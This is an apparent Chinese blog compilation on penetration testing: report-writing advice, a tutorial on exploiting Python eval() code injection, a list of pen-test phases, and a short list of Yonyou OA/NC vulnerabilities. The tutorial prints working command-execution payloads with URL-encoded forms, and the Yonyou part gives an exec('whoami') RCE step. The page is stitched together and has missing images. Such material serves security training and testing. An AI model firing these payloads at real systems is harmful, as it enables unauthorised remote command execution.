渗透测试总结_一次渗透测试复现

hacker|
218

如何写好一份渗透测试报告

当你连续奋战了好几天,终于合上了笔记本,想要出去透透风时,一个熟悉的问句传来:“你好,请问什么时候可以交付报告?”

有成千上万的书籍讲解什么是信息安全,什么是渗透测试,也有数不清的培训课程视频。但是,我敢打赌,在这些材料中,只有不到10%是在讲写报告的事情。在一个完整的渗透测试过程中,有将近一半的时间都用在了编写报告上,这听起来很让人吃惊,但是也并不奇怪。

教会某人写报告不像教会某人制作一个完美的缓冲区溢出那么有意思,大部分的渗透测试人员情愿复习19次TCP数据包结构的工作原理,也不愿意写一份报告。

不管我们的渗透测试水平多么高,想要把一个很深的技术点解释的很通俗易懂,即使是完全不懂安全的人也可以理解,这是一件异常艰难的挑战。不但得学会简单明了的解释渗透测试的结果,还得控制好时间。这样做的好处很多,关系到客户会不会不断的采购你的服务。有一次,我开车到350英里以外的一家客户那里做售前,当面重新解释了渗透测试报告的本内容;如果能把测试报告写的简单明了,我就不用跑这么一趟,相当于节省了一整天的时间和一整箱汽油。

举个例子:

一个模糊不清的解释:“SSH版本应该被禁用,因为它含有高危漏洞,可能允许攻击者在网络上拦截和解密通信,虽然攻击者控制网络的风险很低,这减少了严重性。”

清楚的解释:“建议在这些设备上禁用SSH,如果不这样做,就有可能允许攻击者在当地网络解密和拦截通讯。”

为什么渗透测试报告如此重要?

请谨记:渗透测试是一个科学的过程,像所有科学流程一样,应该是独立可重复的。当客户不满意测试结果时,他有权要求另外一名测试人员进行复现。如果第一个测试人员没有在报告中详细说明是如何得出结论的话,第二个测试人员将会不知从何入手,得出的结论也极有可能不一样。更糟糕的是,可能会有潜在漏洞暴露于外部没有被发现。

举个例子:

模糊不清的描述:“我使用端口扫描器检测到了一个开放的TCP端口。“

清晰明了的描述:“我使用Nmap 5.50,对一段端口进行SYN扫描,发现了一个开放的TCP端口。

命令是:nmap –sS –p 7000-8000“

报告是实实在在的测试过程的输出,且是真实测试结果的证据。对客户高层管理人员(批准用于测试的资金的人)可能对报告的内容没有什么兴趣,但这份报告是他们唯一一份证明测试费用的证据。渗透测试不像其他类型的合同项目。合同结束了,没有搭建新的系统,也没有往应用程序添加新的代码。没有报告,很难向别人解释他们刚买的什么东西。

报告给谁看?

至少有三种类型的人会阅读你的报告:高级管理人员,IT管理和IT技术人员。

高级管理人员根本不关心,或者压根不明白它的意思,如果支付服务器使用SSL v2加密连接。他们想知道的答案是“我们现在到底安不安全?”

IT管理对该组织的整体安全性感兴趣,同时也希望确保其特定的部门在测试过程中都没有发现任何重大问题。我记得给三个IT经理一份特别详细的报告。阅读这份报告后有两个人脸色变得苍白,而第三个人笑着说“太好了,没有数据库的安全问题”。

IT人员是负责修复测试过程中发现的问题的人。他们想知道三件事:受影响系统的名称,该漏洞的严重程度以及如何解决它。他们也希望这些信息以一种清晰而且有组织的方式呈现给他们。最好的方法是将这些信息以资产和严重程度来进行划分。例如“服务器A”存在“漏洞X,Y和Z,漏洞Y是最关键的。这样IT人员就可以快速的找到问题的关键,及时修复。

当然,你可以问你的客户是否愿意对漏洞分组。毕竟测试是为了他们的利益,他们是付钱的人!一些客户喜欢有个详细说明每个漏洞的页面,并表明受漏洞影响的资产有哪些。

虽然我已经提到了渗透测试报告三种最常见的读者,但这并不是一个详尽的清单。一旦报告交付给客户,取决于他们用它干什么。它可能最终被提交给审计人员作为审计的证据。它可以通过销售团队呈现给潜在客户。“任何人都可以说自己的产品是安全的,但他们可以证明这一点?我们可以看看这里的渗透测试报告。“

报告甚至可能最终共享给整个组织。这听起来很疯狂,但它确实发生过。我执行一次社会工程学测试,其结果低于客户的期望。被触怒的CEO将报告传递给整个组织,作为提高防范社会工程攻击意识的一种方式。更有趣的是,几周后当我访问同一个公司做一些安全意识的培训。我在自我介绍时说,我就是之前那个负责社工测试的人。愤怒的目光,嘲讽的语气,埋怨我给他们所有人带来多少麻烦。我的内心毫无波动,答道:“把密码给我总比给真正的黑客好。”

报告应该包含什么?

有时候你会很幸运的看到,客户在项目计划之初就表明他们想要的报告内容。甚至有一些更为细小的要求,比如,字体大小和线间距等。但是这只是少数,大部分客户还是不知道最终要什么结果,所以下面给出一般报告的撰写程序。

封面

封面是报告的第一面窗户,封面页上包含的细节可以不那么明显。但是测试公司的名称、标志以及客户的名称应该突出显示。诸如“内部网络扫描”或“DMZ测试”测试标题也应该在那里,对于相同的客户执行多个测试时,可以避免混淆。测试时间也要写上,随着时间的推移,用户可以清楚的得知他们的安全状况是否得到了改善。另外该封面还应包含文档的密级,并与客户商定如何保密好这份商业上的敏感文件。

内容提要

我见过一些简直像短篇小说一样的内容提要,其实这部分一般要限制在一页纸以内。不要提及任何特定的工具、技术,因为客户根本不在乎,他们只需要知道的是你做了什么,发现了什么,接下来要发生什么,为什么,执行摘要的最后一行应该是一个结论,即明确指出是该系统是安全还是不安全。

举个例子:

一个糟糕的总结:“总之,我们发现一些地方的安全策略运作良好,但有些地方并未遵从。这导致了一定风险,但并不是致命风险。”

一个优秀的总结:“总之,我们发现了某些地方没有遵守安全策略,这给组织带来了一个风险,因此我们必须声明该系统是不安全的。”

漏洞总结

将漏洞列表放在一个页面上,这样,IT经理便可以一目了然的知道接下来要做什么。具体怎样表现出来,形式多样,你可以使用花哨的图形(像表格或图表),只要清晰明了就行。漏洞可以按类别(例如软件问题,网络设备配置,密码策略)进行分组,严重程度或CVSS评分——方法很多,只要工作做得好,很容易理解。

测试团队的详细信息

记录测试过程中所涉及的每一个测试人员的名字,这是一个基本的礼节问题,让客户知道是谁在测试他们的网络,并提供联系方式,以便后续报告中问题讨论。一些客户和测试公司也喜欢依据测试的内容向不同的测试小组分配任务。多一双眼睛,可以从不同的角度查看系统的问题。

工具列表

包括版本和功能的简要描述。这点会涉及到可重复性。如果有人要准确复现您的测试,他们需要确切地知道您使用的工具。

工作范围

事先已经同意,转载作为参考是有用的。

报告主体

这部分才是报告的精华,报告的正文应包括所有检测到的漏洞细节,如何发现漏洞,如何利用漏洞,以及漏洞利用的可能性。无论你做的是什么,都要保证给出一个清晰的解释。我看过无数份报告,都是简单的复制粘贴漏洞扫描的结果,这是不对的。另外报告中还应包括切实贴合的修复建议。

最终交付

在任何情况下任何一份报告应该加密传输。这虽然是常识,但往往大家就会摔倒在最后的这环上。

如何使用python查找网站漏洞

如果你的Web应用中存在Python代码注入漏洞的话,攻击者就可以利用你的Web应用来向你后台服务器的Python解析器发送恶意Python代码了。这也就意味着,如果你可以在目标服务器中执行Python代码的话,你就可以通过调用服务器的操作系统的指令来实施攻击了。通过运行操作系统命令,你不仅可以对那些可以访问到的文件进行读写操作,甚至还可以启动一个远程的交互式Shell(例如nc、Metasploit和Empire)。

为了复现这个漏洞,我在最近的一次外部渗透测试过程中曾尝试去利用过这个漏洞。当时我想在网上查找一些关于这个漏洞具体应用方法的信息,但是并没有找到太多有价值的内容。在同事Charlie Worrell(@decidedlygray)的帮助下,我们成功地通过Burp POC实现了一个非交互式的shell,这也是我们这篇文章所要描述的内容。

因为除了Python之外,还有很多其他的语言(例如Perl和Ruby)也有可能出现代码注入问题,因此Python代码注入属于服务器端代码注入的一种。实际上,如果各位同学和我一样是一名CWE的关注者,那么下面这两个CWE也许可以给你提供一些有价值的参考内容:

1. CWE-94:代码生成控制不当(‘代码注入’)2. CWE-95:动态代码评估指令处理不当(‘Eval注入’)漏洞利用

假设你现在使用Burp或者其他工具发现了一个Python注入漏洞,而此时的漏洞利用Payload又如下所示:

eval(compile('for x in range(1):\n import time\n time.sleep(20)','a','single'))那么你就可以使用下面这个Payload来在目标主机中实现操作系统指令注入了:

eval(compile("""for x in range(1):\\n import os\\n os.popen(r'COMMAND').read()""",'','single'))实际上,你甚至都不需要使用for循环,直接使用全局函数“__import__”就可以了。具体代码如下所示:

eval(compile("""__import__('os').popen(r'COMMAND').read()""",'','single'))其实我们的Payload代码还可以更加简洁,既然我们已经将import和popen写在了一个表达式里面了,那么在大多数情况下,你甚至都不需要使用compile了。具体代码如下所示:

__import__('os').popen('COMMAND').read()

为了将这个Payload发送给目标Web应用,你需要对其中的某些字符进行URL编码。为了节省大家的时间,我们在这里已经将上面所列出的Payload代码编码完成了,具体如下所示:

param=eval%28compile%28%27for%20x%20in%20range%281%29%3A%0A%20import%20time%0A%20time.sleep%2820%29%27%2C%27a%27%2C%27single%27%29%29param=eval%28compile%28%22%22%22for%20x%20in%20range%281%29%3A%5Cn%20import%20os%5Cn%20os.popen%28r%27COMMAND%27%29.read%28%29%22%22%22%2C%27%27%2C%27single%27%29%29param=eval%28compile%28%22%22%22__import__%28%27os%27%29.popen%28r%27COMMAND%27%29.read%28%29%22%22%22%2C%27%27%2C%27single%27%29%29param=__import__%28%27os%27%29.popen%28%27COMMAND%27%29.read%28%29接下来,我们将会给大家介绍关于这个漏洞的细节内容,并跟大家分享一个包含这个漏洞的Web应用。在文章的结尾,我将会给大家演示一款工具,这款工具是我和我的同事Charlie共同编写的,它可以明显降低你在利用这个漏洞时所花的时间。简而言之,这款工具就像sqlmap一样,可以让你快速找到SQL注入漏洞,不过这款工具仍在起步阶段,感兴趣的同学可以在项目的GitHub主页[传送门]中与我交流一下。

搭建一个包含漏洞的服务器

为了更好地给各位同学进行演示,我专门创建了一个包含漏洞的Web应用。如果你想要自己动手尝试利用这个漏洞的话,你可以点击这里获取这份Web应用。接下来,我们要配置的就是Web应用的运行环境,即通过pip或者easy_install来安装web.py。它可以作为一台独立的服务器运行,或者你也可以将它加载至包含mod_wsgi模块的Apache服务器中。相关操作指令如下所示:

git clone VulnApp

./install_requirements.sh

python PyCodeInjectionApp.py

漏洞分析

当你在网上搜索关于python的eval()函数时,几乎没有文章会提醒你这个函数是非常不安全的,而eval()函数就是导致这个Python代码注入漏洞的罪魁祸首。如果你遇到了下面这两种情况,说明你的Web应用中存在这个漏洞:

1. Web应用接受用户输入(例如GET/POST参数,cookie值);2. Web应用使用了一种不安全的方法来将用户的输入数据传递给eval()函数(没有经过安全审查,或者缺少安全保护机制);下图所示的是一份包含漏洞的示例代码:

\

大家可以看到,eval()函数是上述代码中唯一一个存在问题的地方。除此之外,如果开发人员直接对用户的输入数据(序列化数据)进行拆封的话,那么Web应用中也将会出现这个漏洞。

不过需要注意的是,除了eval()函数之外,Python的exec()函数也有可能让你的Web应用中出现这个漏洞。而且据我所示,现在很多开发人员都会在Web应用中不规范地使用exec()函数,所以这个问题肯定会存在。

自动扫描漏洞

为了告诉大家如何利用漏洞来实施攻击,我通常会使用扫描器来发现一些我此前没有见过的东西。找到之后,我再想办法将毫无新意的PoC开发成一个有意义的exploit。不过我想提醒大家的是,不要过度依赖扫描工具,因为还很多东西是扫描工具也找不到的。

这个漏洞也不例外,如果你在某个Web应用中发现了这个漏洞,那么你肯定使用了某款自动化的扫描工具,比如说Burp Suite Pro。目前为止,如果不使用类似Burp Suite Pro这样的专业扫描工具,你几乎是无法发现这个漏洞的。

当你搭建好测试环境之后,启动并运行包含漏洞的示例应用。接下来,使用Burp Suite Pro来对其进行扫描。扫描结果如下图所示:

\

下图显示的是Burp在扫描这个漏洞时所使用的Payload:

\

我们可以看到,Burp之所以要将这个Web应用标记为“Vulnerable”(包含漏洞的),是因为当它将这个Payload发送给目标Web应用之后,服务器的Python解析器休眠了20秒,响应信息在20秒之后才成功返回。但我要提醒大家的是,这种基于时间的漏洞检查机制通常会存在一定的误报。

将PoC升级成漏洞利用代码

使用time.sleep()来验证漏洞的存在的确是一种很好的方法。接下来,为了执行操作系统指令并接收相应的输出数据,我们可以使用os.popen()、subprocess.Popen()、或者subprocess.check_output()这几个函数。当然了,应该还有很多其他的函数同样可以实现我们的目标。

因为eval()函数只能对表达式进行处理,因此Burp Suite Pro的Payload在这里使用了compile()函数,这是一种非常聪明的做法。当然了,我们也可以使用其他的方法来实现,例如使用全局函数“__import__”。关于这部分内容请查阅参考资料:[参考资料1][参考资料2]

下面这个Payload应该可以适用于绝大多数的场景:

?

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

# Example with one expression

__import__('os').popen('COMMAND').read()

# Example with multiple expressions, separated by commasstr("-"*50),__import__('os').popen('COMMAND').read()如果你需要执行一个或多个语句,那么你就需要使用eval()或者compile()函数了。实现代码如下所示:

# Examples with one expression

eval(compile("""__import__('os').popen(r'COMMAND').read()""",'','single'))eval(compile("""__import__('subprocess').check_output(r'COMMAND',shell=True)""",'','single'))#Examples with multiple statements, separated by semicolonseval(compile("""__import__('os').popen(r'COMMAND').read();import time;time.sleep(2)""",'','single'))eval(compile("""__import__('subprocess').check_output(r'COMMAND',shell=True);import time;time.sleep(2)""",'','single'))在我的测试过程中,有时全局函数“__import__”会不起作用。在这种情况下,我们就要使用for循环了。相关代码如下所示:

eval(compile("""for x in range(1):\n import os\n os.popen(r'COMMAND').read()""",'','single'))eval(compile("""for x in range(1):\n import subprocess\n subprocess.Popen(r'COMMAND',shell=True, stdout=subprocess.PIPE).stdout.read()""",'','single'))eval(compile("""for x in range(1):\n import subprocess\n subprocess.check_output(r'COMMAND',shell=True)""",'','single'))如果包含漏洞的参数是一个GET参数,那么你就可以直接在浏览器中利用这个漏洞了:

\

请注意:虽然浏览器会帮你完成绝大部分的URL编码工作,但是你仍然需要对分号(%3b)和空格(%20)进行手动编码。除此之外,你也可以直接使用我们所开发的工具。

如果是POST参数的话,我建议各位直接使用类似Burp Repeater这样的工具。如下图所示,我在subprocess.check_output()函数中一次性调用了多个系统命令,即pwd、ls、-al、whoami和ping。

\

\

漏洞利用工具-PyCodeInjectionShell

你可以直接访问PyCodeInjectionShell的GitHub主页获取工具源码,我们也提供了相应的工具使用指南。在你使用这款工具的过程中会感觉到,它跟sqlmap一样使用起来非常的简单。除此之外,它的使用方法跟sqlmap基本相同。

什么是渗透测试?如何做渗透测试?

渗透测试,是为了证明网络防御按照预期计划正常运行而提供的一种机制。不妨假设,你的公司定期更新安全策略和程序,时时给系统打补丁,并采用了漏洞扫描器等工具,以确保所有补丁都已打上。如果你早已做到了这些,为什么还要请外方进行审查或渗透测试呢?因为,渗透测试能够独立地检查你的网络策略,换句话说,就是给你的系统安了一双眼睛。而且,进行这类测试的,都是寻找网络系统安全漏洞的专业人士。

渗透测试一定要遵循软件测试基本流程,要知道测试过程和目标特殊,在具体实施步骤上主要包含以下几步:

1、明确目标

当测试人员拿到需要做渗透测试的项目时,首先确定测试需求,如测试是针对业务逻辑漏洞,还是针对人员管理权限漏洞等;然后确定客户要求渗透测试的范围,如ip段、域名、整站渗透或者部分模块渗透等;最后确定渗透测试规则,如能够渗透到什么程度,是确定漏洞为止还是继续利用漏洞进行更进一步的测试,是否允许破坏数据、是否能够提升权限等。

2、收集信息

在信息收集阶段要尽量收集关于项目软件的各种信息。比如:对于一个Web应用程序,要收集脚本类型、服务器类型、数据库类型以及项目所用到的框架、开源软件等。信息收集对于渗透测试来说非常重要,只要掌握目标程序足够多的信息,才能更好地进行漏洞检测。

信息收集的方式可分为以下2种:主动收集、被动收集。

3、扫描漏洞

在这个阶段,综合分析收集到的信息,借助扫描工具对目标程序进行扫描,查找存在的安全漏洞。

4、验证漏洞

在扫描漏洞阶段,测试人员会得到很多关于目标程序的安全漏洞,但这些漏洞有误报,需要测试人员结合实际情况,搭建模拟测试环境对这些安全漏洞进行验证。被确认的安全漏洞才能被利用执行攻击。

5、分析信息

经过验证的安全漏洞就可以被利用起来向目标程序发起攻击,但是不同的安全漏洞,攻击机制不同,针对不同的安全漏洞需要进一步分析,制定一个详细的攻击计划,这样才能保证测试顺利执行。

6、渗透攻击

渗透攻击实际是对目标程序进行的真正攻击,为了达到测试的目的,像是获取用户账号密码、截取目标程序传输数据等。渗透测试是一次性测试,在攻击完成后能够执行清理工作。

7、整理信息

渗透攻击完成后,整理攻击所获得的信息,为后边编写测试报告提供依据。

8、编写报告

测试完成之后要编写报告,阐述项目安全测试目标、信息收集方式、漏洞扫描工具以及漏洞情况、攻击计划、实际攻击结果等。此外,还要对目标程序存在的漏洞进行分析,提供安全有效的解决办法。

用友OA/NC/NCCloud安全漏洞检测以及RCE复现渗透测试

用友公司成立于1988年,全面提供具有自主知识产权的企业管理/ERP软件、服务与解决方案,是中国最大的管理软件、ERP软件、集团管理软件、人力资源管理软件、客户关系管理软件及小型企业管理软件提供商。

漏洞情况

用友OA_U8 存在SQL 注入

用友NCCloud FS文件管理 SQL 注入

用友NC bsh.servlet.BshServlet 远程命令执行

用友NC 任意文件上传 getShell

poc

如果出现一下指纹 则存在sql注入点 注入点是 S1

直接使用SqlMap 进行检测

poc

使用sqlmap进行检测 注意替换host

出现如下回显在存在命令执行

使用 exec("cmd") 执行指令

eg:exec("whoami")

poc

如回显如图则存在漏洞, 可以指定文件读取

poc

访问查看 可getShell

升级版本 限制访问,补丁修复

0条大神的评论

发表评论